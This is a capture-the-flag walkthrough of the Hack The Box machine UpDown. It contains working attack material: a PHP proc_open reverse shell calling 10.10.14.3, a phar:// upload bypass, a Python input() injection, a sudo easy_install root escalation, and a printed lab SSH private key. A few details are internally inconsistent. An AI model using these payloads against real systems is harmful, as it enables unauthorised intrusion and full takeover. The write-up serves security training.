Enumeration
Nmap
Run a nmap scan
ports=$(nmap -p- --min-rate=1000 -T4 10.129.1.118 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.1.118
└─$ nmap -sC -sV -Pn -v 10.129.1.118
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
| 256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_ 256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Is my Website up ?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The Nmap scan shows that ports 22 (SSH) and 80 (HTTP) are open. We'll start by visiting the website hosted on port 80 to explore its content.
How many open TCP ports are listening on UpDown? 2
HTTP
When accessing http://10.129.145.138
, we find a main page featuring the domain name siteisup.htb
.
The web application seems to offer a service to check if a particular website is accessible. There's also a domain name displayed in the bottom left, which we'll add to our /etc/hosts
file for convenience.
echo "10.129.1.118 siteisup.htb" | sudo tee -a /etc/hosts
To test the web application's behaviour, we enter http://127.0.0.1
in the input field and enable debug mode.
The application sends an HTTP request to the specified URL and displays the response details in the debug section.
Subdomain enumeration
We use ffuf
to fuzz for potential virtual hosts, running the following command with a wordlist like subdomains-1000.txt
:
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/subdomains-1000.txt
The ffuf
output returns a 200 status code for every response, regardless of whether the domain actually exists. To address this, we need to filter out responses corresponding to non-existent virtual hosts. We can achieve this by using the -fs
flag to filter by response size. Since invalid responses have a size of 1131 bytes, we use:
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://siteisup.htb
:: Wordlist : FUZZ: /usr/share/wordlists/subdomains-1000.txt
:: Header : Host: FUZZ.siteisup.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
support [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 188ms]
mysql [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 189ms]
ns1 [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 190ms]
sql [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 190ms]
ftp [Status: 200, Size: 1131, Words: 186, Lines: 40, Duration: 190ms]
ffuf -u http://siteisup.htb -H "Host: FUZZ.siteisup.htb" -w /usr/share/wordlists/subdomains-1000.txt -fs 1131
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://siteisup.htb
:: Wordlist : FUZZ: /usr/share/wordlists/subdomains-1000.txt
:: Header : Host: FUZZ.siteisup.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 1131
________________________________________________
dev [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 140ms]
The fuzzer discovers the dev
subdomain, so we add it to our /etc/hosts
file to facilitate access:
echo "10.129.1.118 dev.siteisup.htb" | sudo tee -a /etc/hosts
The fuzzer's output also indicates a status code of 403, which means our current access is denied for the dev
subdomain. We'll need to find a way to bypass this restriction, possibly by looking for credentials, misconfigurations, or vulnerabilities.
Directory Enumeration
For now, we'll put the dev
subdomain aside and conduct further enumeration on the initial domain. We'll use feroxbuster
to search for hidden directories:
feroxbuster --url http://siteisup.htb --wordlist=/usr/share/wordlists/dirb/common.txt
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://siteisup.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 31w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 9l 28w 277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 320l 675w 5531c http://siteisup.htb/stylesheet.css
200 GET 40l 93w 1131c http://siteisup.htb/
301 GET 9l 28w 310c http://siteisup.htb/dev => http://siteisup.htb/dev/
200 GET 1l 2w 21c http://siteisup.htb/dev/.git/HEAD
200 GET 40l 93w 1131c http://siteisup.htb/index.php
200 GET 0l 0w 0c http://siteisup.htb/dev/index.php
[####################] - 21s 9233/9233 0s found:6 errors:0
[####################] - 16s 4614/4614 286/s http://siteisup.htb/
[####################] - 13s 4614/4614 345/s http://siteisup.htb/dev/
We discover that a .git
directory exists. If the .git
folder is exposed, we may be able to retrieve part or all of the Git repository. To attempt this, we can use git-dumper
with the following command:
git-dumper http://siteisup.htb/.git /path/to/output-directory
git-dumper http://siteisup.htb/dev/.git dev
[-] Testing http://siteisup.htb/dev/.git/HEAD [200]
[-] Testing http://siteisup.htb/dev/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://siteisup.htb/dev/.git/ [200]
[-] Fetching http://siteisup.htb/dev/.gitignore [404]
[-] http://siteisup.htb/dev/.gitignore responded with status code 404
[-] Fetching http://siteisup.htb/dev/.git/packed-refs [200]
[-] Fetching http://siteisup.htb/dev/.git/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/description [200]
[-] Fetching http://siteisup.htb/dev/.git/branches/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/config [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/index [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/post-update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/tags/ [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-receive.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/pre-push.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/hooks/update.sample [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.idx [200]
[-] Fetching http://siteisup.htb/dev/.git/objects/pack/pack-30e4e40cb7b0c696d1ce3a83a6725267d45715da.pack [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/ [200]
[-] Fetching http://siteisup.htb/dev/.git/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/heads/main [200]
[-] Fetching http://siteisup.htb/dev/.git/info/ [200]
[-] Fetching http://siteisup.htb/dev/.git/logs/refs/remotes/origin/HEAD [200]
[-] Fetching http://siteisup.htb/dev/.git/info/exclude [200]
[-] Running git checkout .
Updated 6 paths from the index
The git-dumper
tool successfully dumps the repository into a directory named dev
, allowing us to run Git commands and examine the files.
Among the files, we find .htaccess
, an Apache configuration file that can be used for various administrative functions such as redirecting traffic, blocking users, and password-protecting directories. This file might contain valuable information for bypassing access restrictions or understanding the server configuration.
└─$ ls -la
total 40
drwxrwxr-x 3 kali kali 4096 Oct 22 03:56 .
drwxrwxr-x 3 kali kali 4096 Oct 22 03:56 ..
-rw-rw-r-- 1 kali kali 59 Oct 22 03:56 admin.php
-rw-rw-r-- 1 kali kali 147 Oct 22 03:56 changelog.txt
-rw-rw-r-- 1 kali kali 3145 Oct 22 03:56 checker.php
drwxrwxr-x 7 kali kali 4096 Oct 22 03:56 .git
-rw-rw-r-- 1 kali kali 117 Oct 22 03:56 .htaccess
-rw-rw-r-- 1 kali kali 273 Oct 22 03:56 index.php
-rw-rw-r-- 1 kali kali 5531 Oct 22 03:56 stylesheet.css
└─$ cat .htaccess
SetEnvIfNoCase Special-Dev "only4dev" Required-Header
Order Deny,Allow
Deny from All
Allow from env=Required-Header
In this case, the .htaccess
file specifies that an HTTP header named Special-Dev
with the value only4dev
is required to access the developer site. Requests without this header are denied. With this information, we can now attempt to access the dev
subdomain, which previously returned a 403 status code during our initial enumeration.
What is the relative path to a directory on the main site that contains an exposed Git repository? /dev
Foothold
To gain access to the dev
subdomain, we need to add the special HTTP header for every request. While we could add it manually each time, BurpSuite offers a convenient way to automate this process.
In BurpSuite, navigate to Proxy -> Options
and scroll down to the Match and Replace
section. Here, we can add a new rule:
- Leave the "Match" field empty to ensure the rule is applied universally.
- In the "Replace" field, add the header:
Special-Dev: only4dev
.
This configuration will automatically insert the required header into every request, allowing seamless access to the dev
subdomain without having to manually add it each time.
By configuring BurpSuite to add the required header automatically, we can now access the developer subdomain (dev.siteisup.htb
). This site has a similar structure and functionality to the main website.
To access dev.siteisup.htb
, the Special-Dev
header must be set to only4dev
.
Now, open a browser configured with BurpSuite as the proxy and navigate to:
http://dev.siteisup.htb
Alternatively, you can use Firefox with the BurpSuite proxy enabled. To do this:
- Open Firefox and ensure that it is configured to use BurpSuite as its proxy.
- Navigate to:
http://dev.siteisup.htb
With BurpSuite set up to add the Special-Dev: only4dev
header automatically, you should be able to access the developer subdomain successfully.
Unlike the initial website, the developer subdomain (beta version) requires a file containing a list of websites to check. Fortunately, we have access to the source code of this dev web application from the repository we dumped earlier.
Let's begin by examining index.php
to understand the functionality and any potential vulnerabilities:
└─$ cat index.php
<b>This is only for developers</b>
<br>
<a href="?page=admin">Admin Panel</a>
<?php
define("DIRECTACCESS",false);
$page=$_GET['page'];
if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
include($_GET['page'] . ".php");
}else{
include("checker.php");
}
?>
The index.php
source code uses the PHP include()
function, which can be dangerous as it may lead to vulnerabilities like Local File Inclusion (LFI) or even Remote Code Execution (RCE). The inclusion is controlled by the $_GET['page']
parameter, but there's a filter preventing access to directories such as /etc
and /home
. If the page
parameter is not provided, the script defaults to including checker.php
.
Next, let's examine the source code of checker.php
to understand its functionality and identify any potential vulnerabilities:
What GET parameter on the dev site is used to define what page is "included"? page
...
if($_POST['check']){
# File size must be less than 10kb.
if ($_FILES['file']['size'] > 10000) {
die("File too large!");
}
$file = $_FILES['file']['name'];
# Check if extension is allowed.
$ext = getExtension($file);
if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
die("Extension not allowed!");
}
# Create directory to upload our file.
$dir = "uploads/".md5(time())."/";
if(!is_dir($dir)){
mkdir($dir, 0770, true);
}
# Upload the file.
$final_path = $dir.$file;
move_uploaded_file($_FILES['file']['tmp_name'], "{$final_path}");
# Read the uploaded file.
$websites = explode("\n",file_get_contents($final_path));
foreach($websites as $site){
$site=trim($site);
if(!preg_match("#file://#i",$site) && !preg_match("#data://#i",$site) && !preg_match("#ftp://#i",$site)){
$check=isitup($site);
if($check){
echo "<center>{$site}<br><font color='green'>is up ^_^</font></center>";
}else{
echo "<center>{$site}<br><font color='red'>seems to be down :(</font></center>";
}
}else{
echo "<center><font color='red'>Hacking attempt was detected !</font></center>";
}
}
# Delete the uploaded file.
@unlink($final_path);
}
...
When files are uploaded to the dev website, they are moved into a directory in the uploads
directory. That directory name is the hash of the output of what PHP function? time
The web application checks the uploaded file's size, ensuring it is less than 10KB, and restricts certain file extensions (e.g., .php
and .py
). However, it doesn't blacklist .phar
files, which can also be used to achieve remote code execution, as .phar
files can contain bundled PHP scripts. This oversight highlights the importance of whitelisting allowed extensions rather than relying on blacklisting to prevent malicious uploads.
To exploit this, we can create a PHP file that calls the phpinfo()
function. This will help us understand the server environment if successfully executed. Let's create and save it as info.php
:
echo "<?php phpinfo(); ?>" > info.php
To proceed, we need to compress the info.phar
file into a .zip
archive and then rename it with a .txt
extension, since .zip
files are blacklisted by the application. By doing this, we can later leverage the phar://
PHP wrapper to access the contents of the uploaded archive and execute our phpinfo()
payload.
zip info.zip info.php
mv info.zip info.txt
What PHP filter allows for accessing files inside of PHP archives (and also Zips)? phar://
After successfully uploading info.txt
, we navigate to:
http://dev.siteisup.htb/uploads/
This is where we use the phar://
wrapper to trigger our payload. By navigating to:
http://dev.siteisup.htb/?page=phar://uploads/f2741df7fa0564e940585c5f38c69edb/info.txt/info
The successful execution of our payload means we have Remote Code Execution (RCE), allowing us to run arbitrary PHP code. However, the phpinfo()
page indicates that functions like system()
, shell_exec()
, and popen()
are disabled. This limits our ability to directly execute OS commands, so we'll need to find an alternative method to gain a foothold on the target.
Searching online for ways to bypass disabled_functions
in PHP leads us to a tool called dfunc-bypasser
. This tool automatically loops through an array of potentially dangerous functions that could lead to a reverse shell and checks if any of them are enabled on the target. Before running the tool, we need to ensure that it includes the required Special-Dev
HTTP header.
In the dfunc-bypasser.py
file, on line 38, we find the following code:
if(args.url):
url = args.url
phpinfo = requests.get(url).text
After adding the Special-Dev
header as a parameter in the script, we proceed to run it:
if(args.url):
url = args.url
phpinfo = requests.get(url, headers={"Special-dev":"only4dev"}).text
python dfunc-bypasser.py --url 'http://dev.siteisup.htb/?
page=phar://uploads/f2741df7fa0564e940585c5f38c69edb/info.txt/info'
However, after multiple attempts to modify the script to include the Special-Dev
header, I continued to encounter the following error:
Traceback (most recent call last):
File "dfunc-bypasser.py", line 51, in <module>
inp = phpinfo.split('disable_functions</td><td class="v">')[1].split("</")[0].split(',')[:-1]
IndexError: list index out of range
At this point, I followed IppSec’s approach by creating a dangerous.php
file and uploading it to the server.
nano dangerous.php
<?php
$dangerous_functions = array ('pcntl_alarm','pcntl_fork','pcntl_waitpid','pcntl_wait','pcntl_wifexited','pcntl_wifstopped','pcntl_wifsignaled','pcntl_wifcontinued','pcntl_wexitstatus','pcntl_wtermsig','pcntl_wstopsig','pcntl_signal','pcntl_signal_get_handler','pcntl_signal_dispatch','pcntl_get_last_error','pcntl_strerror','pcntl_sigprocmask','pcntl_sigwaitinfo','pcntl_sigtimedwait','pcntl_exec','pcntl_getpriority','pcntl_setpriority','pcntl_async_signals','error_log','system','exec','shell_exec','popen','proc_open','passthru','link','symlink','syslog','ld','mail');
// Loop through dangerous_functions and print if it is enabled
foreach ($dangerous_functions as $function) {
if (function_exists($function)) {
echo $function . " is enabled";
}
}
Zip dangerous.php as test.jpeg
$ zip test.jpeg dangerous.php
adding: dangerous.php (deflated 58%)
Upload test.jpeg and navigate to /uploads
After successfully uploading test.jpeg
, I navigated to:
http://dev.siteisup.htb/?page=phar://uploads/0a9a386e0bc076a2f05c2cfc34b83c7c/test.jpeg/dangerous
The output from the dfunc-bypasser
script suggests that we may be able to use proc_open()
to execute commands, as this function is not disabled on the target server. According to the PHP documentation, proc_open()
is similar to popen()
and can be used to execute arbitrary commands.
With the knowledge that proc_open()
is not disabled, I created a reverse shell payload using the following PHP code:
php
Copy code
<?php
$descriptorspec = array(
0 => array('pipe', 'r'), // stdin
1 => array('pipe', 'w'), // stdout
2 => array('pipe', 'a') // stderr
);
$cmd = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.14.3/443 0>&1'";
$process = proc_open($cmd, $descriptorspec, $pipes, null, null);
?>
To prepare and upload this payload:
- Write the payload to a file called
rev.php
. - Compress
rev.php
into a.zip
archive and rename it to have a whitelisted extension: - Upload
rev.txt
to the server. - Set up a Netcat listener on port 443:
- Trigger the payload by navigating to:
zip rev.zip rev.php
mv rev.zip rev.txt
nc -nvlp 443
http://dev.siteisup.htb/?page=phar://uploads/d0b4e04278260b970e995e4bf58b25a9/rev.txt/rev
After accessing the URL, I successfully received a reverse shell as the www-data
user:
└─$ nc -nvlp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.129.1.118] 48502
bash: cannot set terminal process group (896): Inappropriate ioctl for device
bash: no job control in this shell
www-data@updown:/var/www/dev$ whoami
whoami
www-data
www-data@updown:/var/www/dev$ hostname
hostname
updown
With this shell, I gained initial access to the target system as the www-data
user.
Lateral Movement
After gaining an initial foothold, I started exploring the system further. By reading the contents of /etc/passwd
, I found that there is a user called developer
:
cat /etc/passwd | grep -v -e false -e nologin -e sync
The /etc/passwd
file lists users along with their default shell. The command above filters out users whose shell is false
, nologin
, or sync
, leaving only users with valid login shells. Here's the output:
root:x:0:0:root:/root:/bin/bash
developer:x:1002:1002::/home/developer:/bin/bash
Seeing that developer
has /bin/bash
as their shell, I decided to visit their home directory:
cd /home/developer/
ls -l
This showed the following contents:
ls -l
total 8
drwxr-x--- 2 developer www-data 4096 Jun 22 2022 dev
-rw-r----- 1 root developer 33 Oct 22 07:16 user.txt
The home directory contains a folder named dev
, which is owned by the group www-data
. Since I had access as www-data
, I could enter this folder:
cd dev/
ls -l
The contents of the dev
directory were:
ls -l
total 24
-rwsr-x--- 1 developer www-data 16928 Jun 22 2022 siteisup
-rwxr-x--- 1 developer www-data 154 Jun 22 2022 siteisup_test.py
In the dev
folder, there are two files: a Python script (siteisup_test.py
) and a setuid executable (siteisup
). When an executable has the setuid permission set, it runs with the privileges of the file owner—in this case, developer
.
Next, I examined the contents of the Python script:
cat siteisup_test.py
import requests
url = input("Enter URL here:")
page = requests.get(url)
if page.status_code == 200:
print "Website is up"
else:
print "Website is down"
What is the name of the ELF binary that is owned by the developer user and has the SetUID bit enabled? siteisup
The Python script (siteisup_test.py
) takes input for a URL using the built-in input()
function. In Python 2, input()
is insecure, acting similarly to eval()
, which can execute arbitrary code.
The script appears to be running with Python 2 since the print
statements don't have parentheses. I attempted to exploit this by injecting the following payload:
__import__('os').system('/bin/bash')
This command imports the os
module and uses system()
to execute a bash shell. I ran the setuid executable (siteisup
) and injected the payload:
./siteisup
__import__('os').system('/bin/bash')
python3 -c 'import pty;pty.spawn("/bin/bash")'
The following output confirmed that the payload was executed successfully, and I obtained a shell as the developer
user:
www-data@updown:/home/developer/dev$ ./siteisup
./siteisup
__import__('os').system('/bin/bash')
id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
python3 -c 'import pty;pty.spawn("/bin/bash")'
developer@updown:/home/developer/dev$
Now that I had a shell as developer
, I checked their home directory and found the private SSH key at /home/developer/.ssh/id_rsa
. I used the following command to read the key:
cat /home/developer/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
I copied the key locally and saved it as id_rsa
, then set the correct permissions:
chmod 600 id_rsa
Using the key, I connected to the target as developer
:
ssh -i id_rsa developer@siteisup.htb
Once connected, I was able to find the user flag at /home/developer/user.txt
:
developer@updown:~$ cat /home/developer/user.txt
1cef17a95791cbba22a90364207ecb98
Privilege Escalation
After logging in via SSH as the developer
user, I checked if developer
had any permissions to run commands as another user using sudo
. To do this, I ran:
sudo -l
Matching Defaults entries for developer on localhost:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User developer may run the following commands on localhost:
(ALL) NOPASSWD: /usr/local/bin/easy_install
What is the full path to the program that developer can run as root using sudo
? /usr/local/bin/easy_install
The output of sudo -l
showed that the developer
user can run easy_install
without a password. GTFOBins, a resource for privilege escalation techniques, reveals that easy_install
can be exploited to gain a root shell.
According to GTFOBins, easy_install
can be used to execute arbitrary Python code. Since we have sudo
access, we can leverage this to run a Python command with root privileges.
The proof of concept shown above involves using easy_install
to escalate privileges and gain a root shell by executing a Python script. Here's how it works:
- Create a Temporary Directory: A temporary directory is created to hold our malicious Python script:
- Create Python Payload: A Python script (
setup.py
) is created in the temporary directory. This script imports theos
module and usesos.execl()
to spawn a/bin/sh
shell: - Run the Script with Elevated Privileges: The final step is to use
sudo easy_install
to "install" the Python script we just created. Sincedeveloper
can runeasy_install
withsudo
privileges, this triggers the Python script and spawns a shell asroot
:
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo easy_install $TF
Running these commands gave us a root shell. The output looked like this:
developer@updown:~$ TF=$(mktemp -d)
developer@updown:~$ echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
developer@updown:~$ sudo easy_install $TF
WARNING: The easy_install command is deprecated and will be removed in a future version.
Processing tmp.pbuJvVnWuE
Writing /tmp/tmp.pbuJvVnWuE/setup.cfg
Running setup.py -q bdist_egg --dist-dir /tmp/tmp.pbuJvVnWuE/egg-dist-tmp-zKETQh
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
a8162ba886fd81cd65cc29b959a2d7c5
We successfully obtained a shell as root
and retrieved the final flag at /root/root.txt
. This shows how misconfigurations in allowed sudo
commands can be exploited to escalate privileges and gain complete control over the system.
References
- Hack The Box Official Writeup for Updown
- https://youtu.be/yW_lxWB1Yd0?si=hPJDHKOjc9sSOeuo